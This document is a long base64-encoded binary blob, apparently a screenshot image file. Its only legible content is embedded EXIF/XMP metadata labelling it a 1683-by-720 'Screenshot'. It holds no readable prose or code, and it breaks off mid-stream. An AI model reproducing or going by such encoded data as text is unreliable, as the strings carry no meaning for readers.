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AAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAIkgDBpCBB0gwCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggYEcBgkl2vKv0CQEEEEAAAQQQQAABBBBAAAEEEE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